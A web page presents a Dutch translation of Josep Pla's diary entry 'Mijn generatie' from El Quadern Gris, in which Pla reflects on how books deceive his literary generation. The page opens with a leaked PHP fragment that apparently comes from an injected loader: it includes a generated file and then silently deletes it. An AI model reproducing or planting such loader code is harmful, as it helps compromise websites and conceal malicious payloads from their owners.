");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Mijn generatie - Josep Pla
Facebook Twitter

El Quadern Gris

Josep Pla
Mijn generatie

5 februari. Mijn generatie. Dat ik over mijn generatie praat is natuurlijk om te lachen. Wat weet ik van mijn generatie? Ik spreek over de literaire generatie. De rest—mijn jaargenoten aan de universiteit—interesseert mij nauwelijks.

Maar wanneer ik over mijn generatie spreek, spreek ik voor mij. Mijn generatie ben ik—want ik ben er zeker van dat er verspreid een groep totaal onbekende, onmogelijk te lokaliseren personen bestaat die de dingen net zo zien, die net zo denken als ik zelf.

Het is wanneer ik met mensen praat die twintig jaar ouder zijn dan ik dat ik duidelijk de kenmerken zie van de generatie waarvan ik deel uitmaak. Wij komen uit de boeken. Wij hebben boeken gelezen en lezen ze. Wij geloven dat we geleefd hebben omdat wij boeken gelezen hebben. De boeken hebben ons de hoop op iets gegeven. De boeken hebben ons de hoop op iets gesuggereerd. We hebben jaren en jaren gewacht totdat er iets zou gebeuren. Wat is er gebeurd? Helemaal niets. Niets. Dat heeft ertoe geleid dat wij het vermoeden kregen dat wat de boeken zeggen een ding is en wat het leven erover zegt iets heel anders is. De boeken zeggen ons dat de wereld, de mannen, de vrouwen op een bepaalde manier in elkaar zitten. Het leven zegt ons dat de wereld, de mannen, de vrouwen op een andere manier in elkaar zitten. De boeken zeggen ons dat er liefde, goedheid, grootsheid bestaat. Het leven zegt ons dat niets van dit al bestaat. Waar hebben dichters het over? Wat voor zin hebben de woorden van een dichter? Waarom spreken zij zo? Wie doet hen zo spreken?

Ik ben geboren in een klein dorpje. De horizonnen van mijn leven waren zeer kort. Deze omstandigheden hebben mij bijzonder gevoelig gemaakt voor de schittering van het gedrukte woord. Er werden mij boeken in de hand gedrukt en ik las ze. Wat een prachtige dingen vind je niet in boeken! Het leven is zus en zo en zo—zeggen de boeken. Maar dan blijkt dat niemand er iets van begrepen schijnt te hebben dat niemand ook maar enige moeite doet om ervoor te zorgen dat de beweringen uit de boeken ook kloppen. Men ontdekt dat wat de boeken zeggen ertoe dient om het middelmatige en gemakzuchtige leven te verbloemen, te camoufleren—om een modewoord te gebruiken. Er bestaat niets van wat de boeken zeggen. De verschillen tussen mensen zijn miniem: iets meer hygiëne, opleiding, een nuance in hypocrisie. Wat de boeken bevatten, bevatten zij niet om ons een rad voor de ogen te draaien! Simpelweg omdat de auteurs ervan dachten dat wij ze nooit ernstig zouden nemen. Alle tijdperken hebben er altijd hetzelfde uitgezien en dat wat glorietijden worden genoemd heeft alleen maar bestaan in de verbeelding van hen die er boeken over hebben geschreven...

Traducido por Adri Boon
Josep Pla, Mijn generatie. Ed. De Arbeiderspers, Amsterdam, 1993, pàgines 300-301.
Josep Pla
Buscador de autores
A-B-C-D - E-F-G - H - I
J - K - L - M - N - O - P - Q - R
S-T-U-V-W-X-Y-Z
Traducciones de la literatura catalana
Pueden consultar más páginas sobre la literatura catalana en traducción en:
Prosa
Con el soporte de: